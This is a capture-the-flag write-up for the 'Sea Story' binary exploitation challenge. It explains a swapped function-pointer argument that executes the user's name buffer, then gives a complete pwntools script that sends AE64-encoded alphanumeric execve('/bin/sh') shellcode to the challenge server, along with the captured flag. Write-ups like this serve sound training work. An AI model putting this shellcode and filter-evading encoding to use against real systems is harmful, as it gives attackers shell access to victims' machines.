Sea Story - PWN
Points: 349 | Flag: BCCTF{i_rEalLy_l1ke_sHeLcOde_go0d_joB} | Solved by: Smothy @ 0xN1umb

what we got
Binary called vuln - a "pirate story simulator" where you pick a choice and enter your name. Gives you 4 options: sail through storm, scout the sea, eat a coconut, jump off the boat.
checksec:
Full RELRO | Canary | PIE | Stack: Executable (RWE)
stack is executable... thats a hint lol
the solve
decompiled handlePirate - it takes a string and a function pointer, prints the string then calls the function pointer:
void handlePirate(const char *name, void (*func)()) {
printf("Let's find out your fate %s\n", name);
func(); // call *rdx
}then looked at how each option calls it. options 1, 2, 4 are normal - handlePirate(name, storyFunction). but option 3 (eat a coconut) has the args swapped:
case 3:
handlePirate(eatCoconut, s); // s = our name buffer, gets CALLED as codeso our name buffer gets executed as a function. but theres a catch - the name has to pass is_alphanum_string(), meaning every byte must be a-z, A-Z, or 0-9. classic alphanumeric shellcode challenge.
used AE64 to encode a minimal execve("/bin/sh") into alphanumeric x64 shellcode. RDX conveniently points to our buffer when its called (call *rdx), so AE64 can use it as the base register to decode in-place.
from ae64 import AE64
from pwn import *
context.arch = 'amd64'
shellcode = asm('''
push 59
pop rax
cdq
xor esi, esi
push rdx
mov rdi, 0x68732f6e69622f
push rdi
push rsp
pop rdi
syscall
''') # 22 bytes raw
encoder = AE64()
encoded = encoder.encode(shellcode, 'rdx') # 141 bytes, all alphanumeric
p = remote('chal.bearcatctf.io', 40385)
p.sendline(b'3')
p.recvuntil(b'name?')
sleep(1)
p.send(encoded)
sleep(2)
p.sendline(b'cat flag*')
p.interactive()22 bytes raw → 141 bytes alphanumeric encoded (limit was 149). tight fit ngl
$ cat flag.txt
BCCTF{i_rEalLy_l1ke_sHeLcOde_go0d_joB}
flag
BCCTF{i_rEalLy_l1ke_sHeLcOde_go0d_joB}
smothy out ✌️